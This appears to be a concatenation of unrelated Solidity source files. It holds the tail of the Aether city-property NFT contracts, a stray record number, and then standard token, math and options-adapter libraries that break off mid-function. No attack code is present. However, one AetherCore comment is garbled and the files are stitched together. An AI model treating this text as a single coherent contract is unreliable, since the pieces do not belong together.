are /// initiated every 15 minutes. AetherClockAuction public saleAuction; /// @dev Sets the reference to the sale auction. /// @param _address - Address of sale contract. function setSaleAuctionAddress(address _address) public onlyCEO { AetherClockAuction candidateContract = AetherClockAuction(_address); // NOTE: verify that a contract is what we expect require(candidateContract.isAetherClockAuction()); // Set the new contract address saleAuction = candidateContract; } /// @dev Put a property up for auction. /// Does some ownership trickery to create auctions in one tx. function createSaleAuction( uint256 _propertyId, uint256 _startingPrice, uint256 _endingPrice, uint256 _duration ) public whenNotPaused { // Auction contract checks input sizes // If property is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _propertyId)); _approve(_propertyId, saleAuction); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the property. saleAuction.createAuction( _propertyId, _startingPrice, _endingPrice, _duration, msg.sender ); } /// @dev Transfers the balance of the sale auction contract /// to the AetherCore contract. We use two-step withdrawal to /// prevent two transfer calls in the auction bid function. function withdrawAuctionBalances() external onlyCOO { saleAuction.withdrawBalance(); } } // File: contracts-origin/AetherConstruct.sol // Auction wrapper functions /// @title all functions related to creating property contract AetherConstruct is AetherAuction { uint256 public districtLimit = 16; uint256 public startingPrice = 1 ether; uint256 public auctionDuration = 1 days; /// @dev Units can be contructed within public and owned buildings. function createUnit(uint256 _buildingId) public payable returns(uint256) { require(canCreateUnit(_buildingId)); require(msg.value >= unitCreationFee); if (msg.value > unitCreationFee) msg.sender.transfer(msg.value - unitCreationFee); uint256 propertyId = _createUnitHelper(_buildingId, msg.sender); return propertyId; } /// @dev Creation of unit properties. Only callable by COO function createUnitOmni( uint32 _buildingId, address _owner ) public onlyCOO { if (_owner == address(0)) { _owner = cooAddress; } require(canCreateUnit(_buildingId)); _createUnitHelper(_buildingId, _owner); } /// @dev Creation of building properties. Only callable by COO function createBuildingOmni( uint32 _districtId, uint8 _x, uint8 _y, uint8 _z, uint8 _dx, uint8 _dz, address _owner, bool _open ) public onlyCOO { if (_owner == address(0)) { _owner = cooAddress; } _createBuilding(_districtId, _x, _y, _z, _dx, _dz, _owner, _open); } /// @dev Creation of district properties, up to a limit. Only callable by COO function createDistrictOmni( uint8 _x, uint8 _z, uint8 _dx, uint8 _dz ) public onlyCOO { require(districts.length < districtLimit); _createDistrict(_x, _z, _dx, _dz); } /// @dev Creates a new property with the given details and /// creates an auction for it. Only callable by COO. function createBuildingAuction( uint32 _districtId, uint8 _x, uint8 _y, uint8 _z, uint8 _dx, uint8 _dz, bool _open ) public onlyCOO { uint256 propertyId = _createBuilding(_districtId, _x, _y, _z, _dx, _dz, address(this), _open); _approve(propertyId, saleAuction); saleAuction.createAuction( propertyId, _computeNextPrice(), 0, auctionDuration, address(this) ); } /// @dev Updates the minimum payment required for calling createUnit(). Can only /// be called by the COO address. function setUnitCreationFee(uint256 _value) public onlyCOO { unitCreationFee = _value; } /// @dev Update world progression factor allowing for buildings to grow taller // as the city expands. Only callable by COO. function setProgress(uint256 _progress) public onlyCOO { require(_progress <= 100); require(_progress > progress); progress = _progress; } /// @dev Set property data updates flag. Only callable by COO. function setUpdateState(bool _updateEnabled) public onlyCOO { updateEnabled = _updateEnabled; } /// @dev Computes the next auction starting price, given the average of the past /// 5 prices + 50%. function _computeNextPrice() internal view returns (uint256) { uint256 avePrice = saleAuction.averageSalePrice(); // sanity check to ensure we don't overflow arithmetic (this big number is 2^128-1). require(avePrice < 340282366920938463463374607431768211455); uint256 nextPrice = avePrice + (avePrice / 2); // We never auction for less than starting price if (nextPrice < startingPrice) { nextPrice = startingPrice; } return nextPrice; } } // File: contracts-origin/AetherCore.sol /// @title Aether: A city on the Ethereum blockchain. /// @author Axiom Zen (https://www.axiomzen.co) contract AetherCore is AetherConstruct { // This is the main Aether contract. In order to keep our code seperated into logical sections, // we've broken it up in two ways. The auctions are seperate since their logic is somewhat complex // and there's always a risk of subtle bugs. By keeping them in their own contracts, we can upgrade // them without disrupting the main contract that tracks property ownership. // // Secondly, we break the core contract into multiple files using inheritence, one for each major // facet of functionality of Aether. This allows us to keep related code bundled together while still // avoiding a single giant file with everything in it. The breakdown is as follows: // // - AetherBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - AetherAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - AetherOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - AetherAuction: Here we have the public methods for auctioning or bidding on property. // The actual auction functionality is handled in two sibling contracts while auction // creation and bidding is mostly mediated through this facet of the core contract. // // - AetherConstruct: This final facet contains the functionality we use for creating new gen0 cats. // the community is new). // Set in case the core contract is broken and an upgrade is required address public newContractAddress; /// @notice Creates the main Aether smart contract instance. function AetherCore() public { // Starts paused. paused = true; // the creator of the contract is the initial CEO ceoAddress = msg.sender; // the creator of the contract is also the initial COO cooAddress = msg.sender; } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) public onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it's from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { require( msg.sender == address(saleAuction) ); } /// @notice Returns all the relevant information about a specific property. /// @param _id The ID of the property of interest. function getProperty(uint256 _id) public view returns ( uint32 parent, uint8 class, uint8 x, uint8 y, uint8 z, uint8 dx, uint8 dz, uint8 height ) { Property storage property = properties[_id]; parent = uint32(property.parent); class = uint8(property.class); height = uint8(property.y); if (property.class == PropertyClass.BUILDING) { y = uint8(_computeHeight(property.x, property.z, property.y)); } else { y = uint8(property.y); } x = uint8(property.x); z = uint8(property.z); dx = uint8(property.dx); dz = uint8(property.dz); } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. function unpause() public onlyCEO whenPaused { require(saleAuction != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } }
Computing height of a building with respect to city progression.
function _computeHeight( uint256 _x, uint256 _z, uint256 _height ) internal view returns (uint256) { uint256 x = _x < 50 ? 50 - _x : _x - 50; uint256 z = _z < 50 ? 50 - _z : _z - 50; uint256 distance = x > z ? x : z; if (distance > progress) { return 1; } uint256 scale = 100 - (distance * 100) / progress ; uint256 height = 2 * progress * _height * scale / 10000; return height > 0 ? height : 1; }
1,090,827
pragma solidity >=0.7.2; pragma experimental ABIEncoderV2; library Types { struct Order { uint256 nonce; // Unique per order and should be sequential uint256 expiry; // Expiry in seconds since 1 January 1970 Party signer; // Party to the trade that sets terms Party sender; // Party to the trade that accepts terms Party affiliate; // Party compensated for facilitating (optional) Signature signature; // Signature of the order } struct Party { bytes4 kind; // Interface ID of the token address wallet; // Wallet address of the party address token; // Contract address of the token uint256 amount; // Amount for ERC-20 or ERC-1155 uint256 id; // ID for ERC-721 or ERC-1155 } struct Signature { address signatory; // Address of the wallet used to sign address validator; // Address of the intended swap contract bytes1 version; // EIP-191 signature version uint8 v; // `v` value of an ECDSA signature bytes32 r; // `r` value of an ECDSA signature bytes32 s; // `s` value of an ECDSA signature } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // /** * @dev Interface of the ERC20 standard as defined in the EIP. */ // /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract DSMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, "ds-math-add-overflow"); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, "ds-math-sub-underflow"); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow"); } function min(uint x, uint y) internal pure returns (uint z) { return x <= y ? x : y; } function max(uint x, uint y) internal pure returns (uint z) { return x >= y ? x : y; } function imin(int x, int y) internal pure returns (int z) { return x <= y ? x : y; } function imax(int x, int y) internal pure returns (int z) { return x >= y ? x : y; } uint constant WAD = 10 ** 18; uint constant RAY = 10 ** 27; //rounds to zero if x*y < WAD / 2 function wmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), WAD / 2) / WAD; } //rounds to zero if x*y < WAD / 2 function rmul(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, y), RAY / 2) / RAY; } //rounds to zero if x*y < WAD / 2 function wdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, WAD), y / 2) / y; } //rounds to zero if x*y < RAY / 2 function rdiv(uint x, uint y) internal pure returns (uint z) { z = add(mul(x, RAY), y / 2) / y; } // This famous algorithm is called "exponentiation by squaring" // and calculates x^n with x as fixed-point and n as regular unsigned. // // It's O(log n), instead of O(n) for naive repeated multiplication. // // These facts are why it works: // // If n is even, then x^n = (x^2)^(n/2). // If n is odd, then x^n = x * x^(n-1), // and applying the equation for even x gives // x^n = x * (x^2)^((n-1) / 2). // // Also, EVM division is flooring and // floor[(n-1) / 2] = floor[n / 2]. // function rpow(uint x, uint n) internal pure returns (uint z) { z = n % 2 != 0 ? x : RAY; for (n /= 2; n != 0; n /= 2) { x = rmul(x, x); if (n % 2 != 0) { z = rmul(z, x); } } } } library ProtocolAdapterTypes { enum OptionType {Invalid, Put, Call} // We have 2 types of purchase methods so far - by contract and by 0x. // Contract is simple because it involves just specifying the option terms you want to buy. // ZeroEx involves an off-chain API call which prepares a ZeroExOrder object to be passed into the tx. enum PurchaseMethod {Invalid, Contract, ZeroEx} /** * @notice Terms of an options contract * @param underlying is the underlying asset of the options. E.g. For ETH $800 CALL, ETH is the underlying. * @param strikeAsset is the asset used to denote the asset paid out when exercising the option. E.g. For ETH $800 CALL, USDC is the underlying. * @param collateralAsset is the asset used to collateralize a short position for the option. * @param expiry is the expiry of the option contract. Users can only exercise after expiry in Europeans. * @param strikePrice is the strike price of an optio contract. E.g. For ETH $800 CALL, 800*10**18 is the USDC. * @param optionType is the type of option, can only be OptionType.Call or OptionType.Put * @param paymentToken is the token used to purchase the option. E.g. Buy UNI/USDC CALL with WETH as the paymentToken. */ struct OptionTerms { address underlying; address strikeAsset; address collateralAsset; uint256 expiry; uint256 strikePrice; ProtocolAdapterTypes.OptionType optionType; address paymentToken; } /** * @notice 0x order for purchasing otokens * @param exchangeAddress [deprecated] is the address we call to conduct a 0x trade. Slither flagged this as a potential vulnerability so we hardcoded it. * @param buyTokenAddress is the otoken address * @param sellTokenAddress is the token used to purchase USDC. This is USDC most of the time. * @param allowanceTarget is the address the adapter needs to provide sellToken allowance to so the swap happens * @param protocolFee is the fee paid (in ETH) when conducting the trade * @param makerAssetAmount is the buyToken amount * @param takerAssetAmount is the sellToken amount * @param swapData is the encoded msg.data passed by the 0x api response */ struct ZeroExOrder { address exchangeAddress; address buyTokenAddress; address sellTokenAddress; address allowanceTarget; uint256 protocolFee; uint256 makerAssetAmount; uint256 takerAssetAmount; bytes swapData; } } interface IProtocolAdapter { /** * @notice Emitted when a new option contract is purchased */ event Purchased( address indexed caller, string indexed protocolName, address indexed underlying, uint256 amount, uint256 optionID ); /** * @notice Emitted when an option contract is exercised */ event Exercised( address indexed caller, address indexed options, uint256 indexed optionID, uint256 amount, uint256 exerciseProfit ); /** * @notice Name of the adapter. E.g. "HEGIC", "OPYN_V1". Used as index key for adapter addresses */ function protocolName() external pure returns (string memory); /** * @notice Boolean flag to indicate whether to use option IDs or not. * Fungible protocols normally use tokens to represent option contracts. */ function nonFungible() external pure returns (bool); /** * @notice Returns the purchase method used to purchase options */ function purchaseMethod() external pure returns (ProtocolAdapterTypes.PurchaseMethod); /** * @notice Check if an options contract exist based on the passed parameters. * @param optionTerms is the terms of the option contract */ function optionsExist(ProtocolAdapterTypes.OptionTerms calldata optionTerms) external view returns (bool); /** * @notice Get the options contract's address based on the passed parameters * @param optionTerms is the terms of the option contract */ function getOptionsAddress( ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external view returns (address); /** * @notice Gets the premium to buy `purchaseAmount` of the option contract in ETH terms. * @param optionTerms is the terms of the option contract * @param purchaseAmount is the number of options purchased */ function premium( ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 purchaseAmount ) external view returns (uint256 cost); /** * @notice Amount of profit made from exercising an option contract (current price - strike price). 0 if exercising out-the-money. * @param options is the address of the options contract * @param optionID is the ID of the option position in non fungible protocols like Hegic. * @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn */ function exerciseProfit( address options, uint256 optionID, uint256 amount ) external view returns (uint256 profit); function canExercise( address options, uint256 optionID, uint256 amount ) external view returns (bool); /** * @notice Purchases the options contract. * @param optionTerms is the terms of the option contract * @param amount is the purchase amount in Wad units (10**18) */ function purchase( ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 amount, uint256 maxCost ) external payable returns (uint256 optionID); /** * @notice Exercises the options contract. * @param options is the address of the options contract * @param optionID is the ID of the option position in non fungible protocols like Hegic. * @param amount is the amount of tokens or options contract to exercise. Only relevant for fungle protocols like Opyn * @param recipient is the account that receives the exercised profits. This is needed since the adapter holds all the positions and the msg.sender is an instrument contract. */ function exercise( address options, uint256 optionID, uint256 amount, address recipient ) external payable; /** * @notice Opens a short position for a given `optionTerms`. * @param optionTerms is the terms of the option contract * @param amount is the short position amount */ function createShort( ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 amount ) external returns (uint256); /** * @notice Closes an existing short position. In the future, we may want to open this up to specifying a particular short position to close. */ function closeShort() external returns (uint256); } library ProtocolAdapter { function delegateOptionsExist( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external view returns (bool) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "optionsExist((address,address,address,uint256,uint256,uint8,address))", optionTerms ) ); revertWhenFail(success, result); return abi.decode(result, (bool)); } function delegateGetOptionsAddress( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms ) external view returns (address) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "getOptionsAddress((address,address,address,uint256,uint256,uint8,address))", optionTerms ) ); revertWhenFail(success, result); return abi.decode(result, (address)); } function delegatePremium( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 purchaseAmount ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "premium((address,address,address,uint256,uint256,uint8,address),uint256)", optionTerms, purchaseAmount ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateExerciseProfit( IProtocolAdapter adapter, address options, uint256 optionID, uint256 amount ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "exerciseProfit(address,uint256,uint256)", options, optionID, amount ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegatePurchase( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 purchaseAmount, uint256 maxCost ) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "purchase((address,address,address,uint256,uint256,uint8,address),uint256,uint256)", optionTerms, purchaseAmount, maxCost ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegatePurchaseWithZeroEx( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, ProtocolAdapterTypes.ZeroExOrder calldata zeroExOrder ) external { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "purchaseWithZeroEx((address,address,address,uint256,uint256,uint8,address),(address,address,address,address,uint256,uint256,uint256,bytes))", optionTerms, zeroExOrder ) ); revertWhenFail(success, result); } function delegateExercise( IProtocolAdapter adapter, address options, uint256 optionID, uint256 amount, address recipient ) external { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "exercise(address,uint256,uint256,address)", options, optionID, amount, recipient ) ); revertWhenFail(success, result); } function delegateClaimRewards( IProtocolAdapter adapter, address rewardsAddress, uint256[] calldata optionIDs ) external returns (uint256) { (bool success, bytes memory result) = address(adapter).delegatecall( abi.encodeWithSignature( "claimRewards(address,uint256[])", rewardsAddress, optionIDs ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateRewardsClaimable( IProtocolAdapter adapter, address rewardsAddress, uint256[] calldata optionIDs ) external view returns (uint256) { (bool success, bytes memory result) = address(adapter).staticcall( abi.encodeWithSignature( "rewardsClaimable(address,uint256[])", rewardsAddress, optionIDs ) ); revertWhenFail(success, result); return abi.decode(result, (uint256)); } function delegateCreateShort( IProtocolAdapter adapter, ProtocolAdapterTypes.OptionTerms calldata optionTerms, uint256 amount ) external returns (uint256) { (bool 